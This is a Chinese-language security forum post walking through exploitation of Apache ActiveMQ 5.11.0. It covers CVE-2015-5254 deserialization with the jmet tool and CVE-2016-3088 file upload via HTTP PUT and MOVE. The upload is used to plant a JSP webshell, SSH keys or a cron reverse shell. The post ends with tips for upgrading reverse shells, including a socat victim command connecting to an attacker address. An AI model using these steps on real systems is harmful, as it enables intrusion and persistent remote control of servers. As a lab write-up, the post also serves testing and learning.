首页
社区
课程
招聘
[原创]Apache ActiveMQ小记
发表于: 2018-3-14 09:17 3017

[原创]Apache ActiveMQ小记

2018-3-14 09:17
3017

5ecurity团队成员ailann (ailann@5ecurity.cn)原创发布

原文链接 dbdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0g2W2j5%4g2J5K9i4c8&6i4K6u0W2j5$3&6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5c8X3q4J5j5$3S2A6N6X3g2K6i4K6u0r3z5o6W2Q4x3V1j5`.

0x00 简介

 

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

 

0x01 环境搭建

 

本文所使用apachemq版本为:5.11.0
下载地址:ba7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4U0N6r3W2$3k6h3#2I4i4K6u0W2j5i4m8S2j5$3S2W2i4K6u0W2L8%4u0Y4i4K6u0r3j5h3y4@1K9i4k6W2L8i4q4Q4x3X3b7#2x3e0p5H3i4K6u0V1M7X3g2D9k6h3q4K6k6g2)9J5k6h3S2@1L8h3H3`.
解压后

  ./bin/activemq         start          启动
  netstat -ntlp|grep 8161               查看是否启动成功(8161为默认端口)

1.png

 

0x02 反序列化漏洞(CVE-2015-5254)

 

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

 

8161为ActiveMQ的默认web管理端口,61616默认为ActiveMQ消息队列端口

 

使用jmet进行漏洞利用,jmet下载地址:
1f5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0j5i4c8@1K9r3W2S2M7$3E0S2K9i4y4W2M7W2)9J5c8X3A6E0k6i4c8Q4x3V1k6J5k6h3I4W2j5i4y4W2M7H3`.`.

 

jmet构造event事件
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616
报错:
2.png

 

在jmet目录下创建external文件夹即可

 

构造反弹shell的payload发送到反序列化的消息队列中
3.png

 

查看消息:

 

4.png

 

当点击消息时触发:
5.png

 

0x03 任意文件写入漏洞(CVE-2016-3088)

 

该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之)。在5.14.0版本以后,彻底删除了fileserver应用
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到FileServer下然后再通过Move指令移动到可执行目录下访问。
使用PUT方法进行上传测试:
6.png

 

7.png

 

成功访问说明文件已经put上去,我们可以直接put jsp小马/大马 移动到可解析目录就可以getshell了。
webapps/api/ 或者 webapps/admin/ 下都可以解析jsp。但是要移动文件到可解析目录,需要获取绝对路径
这里介绍两种获取绝对路径的方法:
1.访问59dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3W2H3i4K6y4m8z5o6p5$3x3g2)9J5c8X3q4V1L8h3W2F1i4K6u0r3N6r3g2K6N6q4)9J5c8Y4y4&6M7%4c8W2L8g2m8J5L8%4m8W2M7Y4c8A6k6i4y4Q4x3X3g2B7M7%4l9`.

 

8.png

 

2.构造错误上传路径可爆出绝对路径(此版本未成功,其他版本可自行测试)

 

上传Webshell:
9.png

 

根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
10.png

 

访问shell(需登录,默认密码 admin/admin)
11.png

 

同理也可写入ssh key进行公钥登录

 

写入corntab 反弹shell(需要activemq 以root权限运行)
12.png

 

移动到/etc/cron.d/root
13.png

 

监听接收shell

 

14.png

 

crontab定时任务
文件写入到 /etc/crontab.d/

 minute   hour   day   month   week   command     顺序:分 时 日 月 周
   *       *      *       *      *    command     代表每分钟执行一次

0x04 TIPS

 

通常我们测试中反弹的shell,操作很简陋,有时候输错一个命令就意味着丢失shell,没有tab,没有vim,等等很不友好!
下面分享几种获得完美shell的方法:
1.使用python pty模块,可以生成一个伪终端
当我们接收到反弹回来的shell的时候执行

 python -c 'import pty; pty.spawn("/bin/bash")' 

15.png

 

2.使用socat
Socat 像nc一样是一个强大的工具,通过tcp连接,建立完整的tty,如果受害者服务器安装了socat,你就可以用它来反弹shell。如果没有安装可以使用如下命令安装:

  wget 615K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2L8X3c8J5k6i4N6Q4x3X3c8V1i4K6u0r3M7%4c8S2N6r3W2U0i4K6u0V1j5X3W2F1j5i4u0A6k6i4y4Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3j5X3W2F1j5i4u0A6k6i4y4Q4x3V1k6D9K9h3&6#2P5q4)9J5c8Y4R3^5y4W2)9#2k6U0j5@1i4K6u0r3M7$3!0U0j5i4c8Q4x3@1u0U0K9r3#2G2k6l9`.`. +x socat

Listen:

 socat file:`tty`,raw,echo=0 tcp-listen:4444

Victim:

 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444 

16.png

 

3.加了魔法的netcat
首先第一步我们按照第一种方法python pty的方式获取一个shell
17.png

 

接着用组合键“Ctrl-Z”将shell放到后台中去。
检查当前终端和styy信息:
18.png

 

需要的信息为term类型(xterm)和当前stty大小(rows 33; columns 191)
让shell继续保持在后台运行,现在将当前的STTY设置为原始类型,并告诉它回显输入字符

 

19.png

 

用“fg”将shell提到前台来,用“reset”重置终端

 

20.png

 

最后利用上面收集的信息设置shell终端类型以及stty大小。
21.png

 

参考链接

 

欢迎大佬们来公众号“5ecurity”拍砖……


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-3-14 09:18 被cnsecurity编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回